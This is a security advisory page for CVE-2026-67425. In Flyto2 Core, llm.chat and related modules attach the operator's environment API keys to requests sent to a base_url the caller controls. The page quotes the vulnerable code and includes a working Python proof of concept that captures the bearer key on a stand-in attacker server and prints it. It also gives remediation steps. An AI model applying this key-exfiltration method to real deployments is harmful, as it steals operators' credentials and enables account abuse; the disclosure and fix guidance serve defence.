CVE-2026-67425: Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url

Published Jul 29, 2026
·
Updated

Summary

llm.chat reads the operator's provider key from the environment (OPENAIAPIKEY, ANTHROPICAPIKEY, ...) and sends it in the Authorization: Bearer header to baseurl, a parameter the caller controls. baseurl is only checked against the SSRF guard, and the guard allows any public host, so pointing baseurl at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPICAPIKEY)" as High.

Affected code

src/core/modules/atomic/llm/chat.py (callopenai):

python baseurl = params.get('baseurl') # caller-controlled if baseurl: validateurlwithenvconfig(baseurl) # SSRF check only; a public attacker host passes if not apikey: apikey = os.getenv('OPENAIAPIKEY') # operator's key ... url = (baseurl or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {apikey}"} await client.post(url, headers=headers, json=payload) # sent to baseurl

The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check baseurl), llm.agent, and vector.connector (QDRANTAPIKEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.

Reproduction

Save as keyexfilpoc.py, run with PYTHONPATH=src/src python keyexfilpoc.py. It sets an operator key in the environment and points baseurl at a local capture server.

python #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAIAPIKEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTOALLOWEDHOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {}

class Attacker(BaseHTTPRequestHandler): def doPOST(self): CAPTURED["auth"] = self.headers.get("Authorization") ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln) b = b'{"choices":[{"message":{"content":"pwned"},"finishreason":"stop"}],"usage":{"totaltokens":1}}' self.sendresponse(200); self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(b))); self.endheaders(); self.wfile.write(b) def logmessage(self, a): pass

async def main(): from core.modules.atomic import registerall from core.modules.registry import ModuleRegistry registerall() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serveforever, daemon=True).start() res = await ModuleRegistry.execute("llm.chat", params={ "prompt": "hi", "provider": "openai", "baseurl": "http://localhost:8080", }, context={}) print("module ok:", res.get("ok")) print("Authorization received by attacker:", CAPTURED.get("auth"))

if name == "main": asyncio.run(main())

Output:

module ok: True Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a

Confirmed against the running API as well: calling llm.chat with baseurl=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.

Impact

Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence baseurl, which is reachable through the MCP agent surface or the hosted API.

Suggested fix

Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom baseurl, require them to supply the apikey explicitly too, or check baseurl against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's baseurl.

Other sources

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAIAPIKEY and ANTHROPICAPIKEY from the environment and sends them in the Authorization: Bearer header to caller-controlled baseurl, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.

— MITRE

Affected Software

2 affected componentsFixes available
Flyto2 Flyto2 Core<2.26.6
pip/flyto-core<2.26.7
2.26.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/flyto-core to a version that resolves this vulnerability.

    Fixed in 2.26.7
  2. Upgrade

    Upgrade Flyto2 Core to a version that resolves this vulnerability.

    Fixed in 2.26.6
  3. Configuration

    For ai.model (and similarly for llm.chat/llm.agent/vector.connector as described), when the caller supplies a custom base_url, require the caller to supply the api_key explicitly and/or validate base_url against an allowlist of trusted endpoints; do not auto-attach the operator's secret Authorization header to arbitrary caller-controlled base_url. In particular, ensure ai.model enforces the base_url allowlist/validation (it does not SSRF-check base_url per the text) so attacker-controlled public hosts cannot receive the operator key.

    ai.model base_url = allowlist/require api_key
  4. Configuration

    Modify llm.chat so that provider keys read from environment (e.g., OPENAI_API_KEY/ANTHROPIC_API_KEY) are not sent in Authorization: Bearer to caller-controlled base_url values that are not on a trusted allowlist. The issue is that llm.chat posts to url derived from base_url and attaches headers containing the operator's env key to attacker-controlled public hosts.

    llm.chat Authorization header behavior = do not send operator environment key to arbitrary base_url
  5. Configuration

    Do not rely on the SSRF guard alone for base_url security: the text states the guard allows any public host, so add/strengthen control to prevent exfiltration by either require caller-supplied api_key when base_url is custom, and/or enforce base_url allowlist of trusted endpoints.

    llm.chat SSRF guard = insufficient

Event History

Jul 29, 2026
CVE Published
via MITRE·06:35 PM
Data Sourced
via MITRE·06:35 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeakness
Jul 30, 2026
Advisory Published
via GitHub·02:47 PM
Data Sourced
via GitHub·02:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-67425?

CVE-2026-67425 has a high severity rating of 8.6.

2

How do I fix CVE-2026-67425?

To fix CVE-2026-67425, upgrade to Flyto2 Core version 2.26.6 or later.

3

What types of keys are exposed in CVE-2026-67425?

CVE-2026-67425 exposes llm.chat provider keys, including OPENAI_API_KEY and ANTHROPIC_API_KEY.

4

What is the impact of CVE-2026-67425?

The impact of CVE-2026-67425 is that attacker-controlled base URLs can receive sensitive API keys.

5

What is the vulnerability type of CVE-2026-67425?

CVE-2026-67425 is classified as a Server-Side Request Forgery (SSRF) vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203